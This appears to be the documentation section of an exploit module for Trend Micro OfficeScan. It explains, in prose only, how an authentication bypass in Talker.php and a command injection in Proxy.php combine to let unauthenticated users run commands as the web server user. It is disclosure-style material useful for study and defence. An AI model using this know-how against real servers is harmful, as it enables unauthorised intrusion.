## Vulnerable Application

This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user.

The Trend Micro OfficeScan product has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.
